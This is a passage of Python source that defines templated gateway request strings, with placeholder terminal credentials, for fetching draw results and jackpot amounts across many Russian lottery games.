f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5150&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5150 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5150&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5150 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5150&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- матчбол: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5550 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5550&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5550 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5550&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5550 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5550&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5550 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5550&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5550 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5550&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Зодиак: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_28005 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=28005&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_28005 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=28005&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_28005 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=28005&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_28005 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=28005&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_28005 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=28005&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Русское лото: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7103 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7103&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7103 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7103&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7103 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7103&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7103 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7103&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7103 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7103&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- «Русское лото Экспресс»: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7107 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7107&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7107 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7107&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7107 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7107&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7107 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7107&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7107 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7107&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Жилищная лотерея: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7105 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7105&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7105 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7105&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7105 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7105&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7105 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7105&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7105 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7105&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Золотая подкова: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7115 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7115&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7115 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7115&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7115 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7115&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7115 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7115&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7115 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7115&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Бинго 75: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7175 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7175&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7175 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7175&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7175 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7175&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7175 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7175&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7175 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7175&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- 6 из 36: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_7101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=7101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_7101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=7101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_7101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=7101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_7101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=7101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_7101 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=7101&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Рапидо: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5211 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5211&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5211 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5211&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5211 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5211&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5211 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5211&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5211 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5211&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Рапидо 2.0: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_5212 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=5212&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_5212 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=5212&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_5212 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=5212&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_5212 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=5212&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_5212 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=5212&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- 12/24: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_28001 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=28001&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_28001 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=28001&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_28001 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=28001&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_28001 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=28001&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_28001 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=28001&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Дуэль: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_28003 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=28003&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_28003 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=28003&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_28003 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=28003&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_28003 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=28003&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_28003 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=28003&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Прикуп: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_28002 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=28002&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_28002 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=28002&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_28002 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=28002&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_28002 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=28002&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_28002 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=28002&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- Джокер: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_28102 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=28102&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_28102 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=28102&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_28102 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=28102&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_28102 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=28102&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_28102 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=28102&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- #--------- Топ-3: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_2177 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=2177&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_2177 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=2177&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_2177 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=2177&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_2177 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=2177&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_2177 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=5&' \ f'GAME_ID=2177&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # -------------------------------------------- # --------- кено: # message_id=33, данный запрос сделан для получения последнего тиража из гейта DATA_33_REPORT_TYPE_1_1124 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=1&' \ f'GAME_ID=1124&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения последних 4 тиражей из гейта DATA_33_REPORT_TYPE_2_1124 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=2&' \ f'GAME_ID=1124&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата последнего тиража REPORT_TYPE_3 DATA_33_REPORT_TYPE_3_1124 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=3&' \ f'GAME_ID=1124&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения результата тиража по текущей дате REPORT_TYPE_4 DATA_33_REPORT_TYPE_4_1124 = f'TERMINAL_ID={TERMINAL_ID}&LOGIN={LOGIN}&PASSWORD={PASSWORD}&REPORT_TYPE=4&' \ f'GAME_ID=1124&DATE_START="{DATE_START}"&DRAW_ID=0&DRAWS_NUMBER=0&VERSION=1' # message_id=33, данный запрос сделан для получения суммы суперприза DATA_33_REPORT_TYPE_5_1124 = 